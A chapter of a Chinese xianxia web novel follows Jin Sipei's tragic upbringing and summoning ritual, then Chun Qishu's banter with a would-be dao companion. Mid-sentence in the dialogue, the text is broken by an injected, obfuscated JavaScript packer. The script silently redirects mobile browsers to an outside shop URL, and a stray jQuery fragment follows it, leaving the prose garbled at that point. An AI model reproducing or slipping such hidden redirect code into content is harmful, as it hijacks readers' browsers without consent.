金丝佩的家是秦楼楚馆。

    她的母亲是风尘女,身段堪怜,命不由己。

    母亲年轻时美艳,勾人,一双眼睛盈盈欲滴。盛气逼人,直奔头牌。

    是她毁了母亲的人生。

    “都怪你!都怪你!”美人长眉蹙起,总是裹着不甘与怨愤,素靥桃腮的脸上被阴沉笼盖,与楚楚可怜的气质格格不入。她因为生育身材走样,一直笼络的恩客也因为那将近一年的空缺而选择了抛弃。

    地位一落千丈,人走茶凉。

    金丝佩不怨她。

    “他说过会带我走的,”女人断断续续的呜咽声传来,“骗子,负我…”屋里传来物品被摔碎的声响。

    “娘。”金丝佩那时候年纪太小,不理解这样复杂的情感,踮着脚伸手想给眼前的美人擦眼泪。

    那人打开她的手,脸上的嫌恶丝毫没有掩饰:“别碰我!”

    孩子被打倒在地,手不小心按在散落的碎片上,鲜血泉涌而出。

    母亲像是被鲜血刺到,大彻大悟,这才堪堪止住哭泣,慌忙拿布条给她包扎。

    再抬眼,眼泪汪汪:“佩儿,是娘不好,娘的错。”

    记忆中的母亲总是喜怒无常,阴晴不定。但每天晚上都会在塌前拜观音,双手合十,虔诚无比。

    观音大士头戴宝冠,颈佩璎珞,端坐莲台,一手拖玉瓶,一手执杨柳,白衣白袍,慈眉善目。

    双目垂敛,悲天悯人。

    母亲会把首饰供奉在她面前,日日夜夜香火不断。日子一天天过去,她可以供奉的首饰越来越少。

    母亲从来没有金簪。

    她太年少,虽然活在这个纸醉金迷的魔窟里,可也有过侠肝义胆的真心。

    她爱上了一个书生,那书生说待他考取了功名,谋取官职就赎她走,二人日后琴瑟和鸣,举案齐眉。

    可左等右等,等来了他被榜下招婿,洞房花烛的消息。那时候金丝佩已经存在在她的腹中了。

    金丝佩是母亲一开始就给她拟定好的名字,她也有过少女怀春,幻想以后也当上当家主母,威风凛凛。

    金丝佩,佩金丝,富贵卷花泪,金玉醉芳卿。

    她到底没有做上那个黄粱一梦。

    母亲逐渐年老色衰,看见她就会咒骂,清醒时就会抱着她痛哭,哀叹自己的命运,也哀叹金丝佩的命运。

    是啊,一个在风月场长大的女孩,以后又能干什么呢。

    但还没长到金丝佩操心自己命运的年纪,变故就发生了。

    母亲被狐妖附体,杀人诛心,十恶不赦。

    时任合欢宗长老的晏酌恰好流连于此,将其斩杀,尸骨不全。

    母亲的尸首横在她眼前,眼睛圆圆的,睁得大大的,像是在发问些什么——为什么会死,为什么会这样,为什么会被抛弃,为什么要骗我?

    人们被眼前的这一幕吓到,鸦雀无声。在这一片寂静中,金丝佩穿过人群,小步走到母亲面前,女孩沉默地蹲下,那双没有给母亲擦拭泪水的手又伸了出来,轻轻帮她合上了眼睛。

    好像有水滴到了母亲的脸上,她怎么擦也擦不干净。

    屋子因为打斗狼狈不堪,金丝佩环视一圈——桌子倒了,观音像也碎了。

    她眼前倏的一黑,晕倒在地。

    醒来时就被抱回了合欢宗,女孩天赋平平,内向怯生。因着从小在青楼长大,对男女之事更是格外排斥,是合欢宗人人皆知的怪胎,十分不讨喜。

    在宗派大比对上司空景的时候,她虽然体力不支,濒临绝望,但心中有种莫名其妙的期待——死去吧,就这样不欠任何人的死去。

    毕竟她的出生从一开始就是个错误。

    所以在鞭子冲过来时,金丝佩没有躲。

    可是天意一般,有一把剑停在了她眼前,春光和煦,剑风席卷她的身侧,让久违的植物的味道送到她的鼻息。

    金丝佩这时才如梦惊醒般,心中遽然涌上后怕,像潮水一样将自己吞没,她手脚僵硬,将目光投向来者。

    那人通体素白,衣襟猎猎,惊才绝艳,剑意决绝。

    她不认识自己,也不在乎自己的天姿普通,姿色平平。

    无缘无故地救了自己,为了她甚至还答应了对方的无理要求进行比试。

    比试结束的那个午后,人群议论纷纷,躁动无比,那人手里的杨柳散开,有一片柳叶也曾刮过她的脸颊。

    ——可惜,这个人死了。

    这个苍生不公平,那个抛弃她母亲的书生顺遂一生,可是真正纯善之人尸骨无存。

    金丝佩胆怯,做什么事都没有决心,但是她继承了母亲的传统,竟开始一日不落地拜神。

    神祇也穿白衣,拿杨柳,慈眉善目。

    她无比庆幸自己是合欢宗的修士,曾经听过晏酌醉酒后胡言乱语,说他有一天得道飞升了,要唤一位上古女神来,与她同栖。

    请神来——她抓住了虚妄的希望,她不知道春泣舒的修为多少,也不知道她是否还有魂魄在世间,她只是想试试。

    日日焚香,供奉灵石,自己有了金钗,可以用更珍贵的东西来敬奉她。

    那人“死”了一百零七年,修真界万年难遇的天才竟然陨落了整整一百多年。

    金丝佩记住她的话,每日勤苦修炼,不敢有一丝懈怠,竟然也小有成果。

    今年又轮到合欢宗举行大典,她借晏酌进行仪式的灵气掩盖,也偷偷进行了自己的请神。

    那人的香火数不够,金丝佩就跪在神像前,说愿意把大半寿数供奉给她,屋中灯火阑珊,神女的面容模糊不清,眼底沾染了慈悲。

    浮云变换莫测,风声越来越清晰,金丝佩感觉自己的身体被猛然破入了什么东西,一股温润的灵光托住了她,身体轻飘飘,很温暖,在意识消散的最后几秒,金丝佩轻轻勾起了嘴角。

    ——成功了。

    *

    春泣舒一夜都没有睡好。

    说没有感慨是假的,她突蒙如此大恩,心中百感交集。

    突然听到了窗外的鸟鸣声,她才发觉天已经亮了,便起身梳洗。正忙着,余光瞥见一人,神不知鬼不觉地站在自己的桌旁。

    “你干嘛?”春泣舒用眼睛睨他,来人今日穿暗红色衣袍,松松垮垮,几乎要露出胸口,束黑色腰封,饶有兴致地盯她看。

    温寄浓听罢嘿嘿笑了起来——“我找我的道侣,还要理由?”

    春泣舒将水珠甩到他的脸上,略带冰凉的触感落在温寄浓的眼下,下一秒便听见这女人口吐薄情的话:“我可没同意做你的道侣。”

    温寄浓闻言大恸,借着眼下的水珠装作泪水涟涟:“不行!你不同意我,我就没人要了…哎呦,我的命怎么这么苦呐,身为合欢修士苦修数百年,竟然无人采撷——唉!我的老天爷啊…唔!”春

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17815534|211044||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    泣舒吓得一哆嗦,用手捂住他正哭天喊地的嘴巴。

    不曾想那厮得寸进尺,伸手握住了春泣舒的手腕,往后退了一步,将自己的嘴巴解放出来,略带娇羞:“佩佩,你…刚才主动碰我——是不是同意了?”

    不等春泣舒回答,他又扭捏起来:“郎君蒲柳之姿,还望蒙你怜爱。”

    “……”春泣舒十分不理解眼前的行为,带有深意地看了温寄浓一眼,抛开他就往前走。

    温寄浓连忙追上,在后面紧赶慢赶:“唉,你倒是给我个准话啊!”

    二人一路上你追我赶,走出了院落。

    春泣舒走了好久,择了个隐蔽的山脚处,在温寄浓“不会吧这么快吗在这里吗那也不是不行”的诡异的期待目光下,把衣角掀起,然后——打坐入定了。

    温寄浓:???

    不得已,温寄浓也随她坐下,嘴里不满地嘟囔着:“你还是这个臭脾气,要我说——你就别在合欢宗修炼了,去当剑修去!”

    春泣舒没有理他,坐下探入丹田,她刚苏醒时是窥天命一重境的修为,后来赶上方承平赐福,往上生生提了一个小境界,现在是窥天命二重境。

    短时间内修为如此大变,灵气波动起伏,浮躁不堪。她急着梳理灵气,没有时间掺和温寄浓的人生大事。

    灵气纠缠在一起,春泣舒吐息运功,让它们一丝丝分离疏解,又一丝丝归位平息,她平静许多,这才从入定状态中恢复过来。

    睁开眼时日薄西山,落日熔金,温寄浓在旁边昏昏欲睡,头不住地点。

    春泣舒无奈,揉了揉眉心,轻拍他:“起来了。”

    温寄浓被猛然惊醒,睡眼惺忪,重重地打了个哈欠:“佩佩…你真是…太用功了…我都以为你——哈咻——睡着了。”说罢他站了起来,拍拍衣衫,拉着春泣舒的胳膊,精神抖擞地对她笑:“走吧,我都要饿死了,我们去醉春楼喝酒去,好不好?”

    春泣舒其实有点理解不了温寄浓,他行事太跳脱,而自己又太古板,每天就是修炼、斩妖、救人、入定,没有其他的事情做,也没有什么特别的爱好。

    她太无趣了,也适应不了合欢宗这种温香软玉,柔情缠绵的生活,春泣舒定下心神,想和温寄浓说清楚:“我不会做你的道侣,也不会和你进行合欢宗的修炼,现在不会,以后也不会,抱歉,你…你还是另寻良人吧。”春泣舒丝毫不觉得自己的这番话有什么不妥,也没有意识到现在的自己多像抛妻弃子的渣男。

    出乎意料地,温寄浓没有一哭二闹三上吊,他很安静,半晌才说话,声音里带了轻笑,像是不理解春泣舒的话:“另觅良人?佩佩,你是不是打坐糊涂了?合欢宗的道侣,一生只能择一人,不然就会遭到反噬,爆体而亡。”

    男人皱起了他好看的眉毛,一如既往地用竹扇盖住嘴唇,眼下泪痣过分妖媚,望向春泣舒的眼睛楚楚可怜:“佩佩,你好冷的心肠,这是要我死啊…”

    那种无措的感觉又上来了,春泣舒想否定,又不知道怎么辩解,她毕竟不是合欢宗的弟子,竟然不知道还有这么一说。可她现在不能暴露身份,只好硬接了这个薄情人的名头。

    “我说错了,我…不是那个意思,哎呀,你别用这种眼神看我…”春泣舒束手无策,局促地直挠头。

    就在僵持不下时,旁边的林子里突然传来微弱的哭声,像是有人在求救,二人闻声,同时把头转了过去。